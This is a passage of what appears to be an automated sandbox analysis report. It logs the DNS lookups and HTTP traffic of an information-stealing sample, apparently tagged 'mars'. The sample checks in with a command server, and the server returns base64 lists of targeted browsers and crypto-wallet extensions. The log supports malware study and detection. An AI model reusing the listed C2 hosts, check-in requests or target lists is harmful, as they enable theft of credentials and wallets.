Nov 10, 2024 19:46:07.346216917 CET	192.168.2.4	1.1.1.1	0x3fa	Standard query (0)	fvteja5sb.top	28	IN (0x0001)	false
Nov 10, 2024 19:46:10.701185942 CET	192.168.2.4	1.1.1.1	0x959f	Standard query (0)	fvteja5sb.top	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:10.701344967 CET	192.168.2.4	1.1.1.1	0x9c0f	Standard query (0)	fvteja5sb.top	28	IN (0x0001)	false
Nov 10, 2024 19:46:15.338206053 CET	192.168.2.4	1.1.1.1	0x6e03	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:15.338242054 CET	192.168.2.4	1.1.1.1	0x39e6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 10, 2024 19:46:19.109850883 CET	192.168.2.4	1.1.1.1	0xb0c6	Standard query (0)	fvteja5sb.top	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:19.109937906 CET	192.168.2.4	1.1.1.1	0xe3cb	Standard query (0)	fvteja5sb.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 10, 2024 19:44:06.447268963 CET	1.1.1.1	192.168.2.4	0x54c	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:44:06.447310925 CET	1.1.1.1	192.168.2.4	0xf015	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 10, 2024 19:44:09.753477097 CET	1.1.1.1	192.168.2.4	0x63fd	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2024 19:44:09.753670931 CET	1.1.1.1	192.168.2.4	0x7a83	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2024 19:44:09.753670931 CET	1.1.1.1	192.168.2.4	0x7a83	No error (0)	plus.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:44:10.757230997 CET	1.1.1.1	192.168.2.4	0x7cf3	No error (0)	play.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:19.172835112 CET	1.1.1.1	192.168.2.4	0xc197	No error (0)	home.fvteja5sb.top		185.228.235.50	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.470230103 CET	1.1.1.1	192.168.2.4	0x2041	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.501785040 CET	1.1.1.1	192.168.2.4	0x4bf1	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.531224012 CET	1.1.1.1	192.168.2.4	0xdd3d	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.559113026 CET	1.1.1.1	192.168.2.4	0x8966	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.605092049 CET	1.1.1.1	192.168.2.4	0xad53	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.630728960 CET	1.1.1.1	192.168.2.4	0x2461	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.696724892 CET	1.1.1.1	192.168.2.4	0xd43d	No error (0)	navygenerayk.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.696724892 CET	1.1.1.1	192.168.2.4	0xd43d	No error (0)	navygenerayk.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.787507057 CET	1.1.1.1	192.168.2.4	0x18ee	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.818039894 CET	1.1.1.1	192.168.2.4	0xbfa	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.847193956 CET	1.1.1.1	192.168.2.4	0x16d0	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.873466969 CET	1.1.1.1	192.168.2.4	0x1358	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.896984100 CET	1.1.1.1	192.168.2.4	0xe913	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.921926022 CET	1.1.1.1	192.168.2.4	0xca89	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.167855978 CET	1.1.1.1	192.168.2.4	0xeb03	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.204235077 CET	1.1.1.1	192.168.2.4	0xc00f	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.241261959 CET	1.1.1.1	192.168.2.4	0xb5d	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.267947912 CET	1.1.1.1	192.168.2.4	0x5177	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.295285940 CET	1.1.1.1	192.168.2.4	0x1c0a	Name error (3)	necklacedmny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.323030949 CET	1.1.1.1	192.168.2.4	0xefc3	Name error (3)	founpiuer.store	none	none	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:08.229499102 CET	1.1.1.1	192.168.2.4	0x5f93	No error (0)	fvteja5sb.top		185.228.235.50	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:11.245218039 CET	1.1.1.1	192.168.2.4	0x959f	No error (0)	fvteja5sb.top		185.228.235.50	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:15.345084906 CET	1.1.1.1	192.168.2.4	0x39e6	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 10, 2024 19:46:15.345263004 CET	1.1.1.1	192.168.2.4	0x6e03	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:19.637101889 CET	1.1.1.1	192.168.2.4	0xb0c6	No error (0)	fvteja5sb.top		185.228.235.50	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	7300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:43:59.469975948 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 10, 2024 19:44:00.380412102 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:44:00.415256023 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="build"mars------IDGIJEGHDAECAKECAFCA--
Nov 10, 2024 19:44:00.712102890 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 51 33 5a 44 6b 33 59 6d 5a 6b 4d 7a 4e 69 4e 7a 45 78 4d 32 51 34 4d 47 49 33 4d 44 68 6a 4d 6d 51 31 5a 47 4e 69 4e 57 55 33 4e 54 67 32 4e 6d 56 68 59 7a 6b 35 5a 6d 4d 32 5a 44 4a 6d 4d 6a 63 77 5a 6a 64 69 4f 54 4a 6d 4e 7a 63 79 4e 54 6b 78 5a 44 55 78 4d 57 49 32 4d 6d 59 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzQ3ZDk3YmZkMzNiNzExM2Q4MGI3MDhjMmQ1ZGNiNWU3NTg2NmVhYzk5ZmM2ZDJmMjcwZjdiOTJmNzcyNTkxZDUxMWI2MmY4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 10, 2024 19:44:00.723611116 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 2d 2d 0d 0a Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="message"browsers------HIDHDGDHJEGHIDGDHCGC--
Nov 10, 2024 19:44:01.007395029 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 10, 2024 19:44:01.007414103 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 10, 2024 19:44:01.009001970 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"347d97bfd33b7113d80b708c2d5dcb5e75866eac99fc6d2f270f7b92f772591d511b62f8------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="message"plugins------CBKFIECBGDHJKECAKFBG--
Nov 10, 2024 19:44:01.292830944 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 10, 2024 19:44:01.292851925 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 10, 2024 19:44:01.292861938 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 10, 2024 19:44:01.292874098 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 10, 2024 19:44:01.292886019 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 10, 2024 19:44:01.292897940 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 10, 2024 19:44:01.292927980 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 10, 2024 19:44:01.293539047 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 10, 2024 19:44:01.295433044 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 37 64 39 37 62 66 64 33 33 62 37 31 31 33 64 38 30 62 37 30 38 63 32 64 35 64 63 62 35 65 37 35 38 36 36 65 61 63 39 39 66 63 36 64 32 66 32 37 30 66 37 62 39 32 66 37 37 32 35 39 31 64 35 31 31 62 36 32 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 2d 2d 0d 0a Data Ascii: 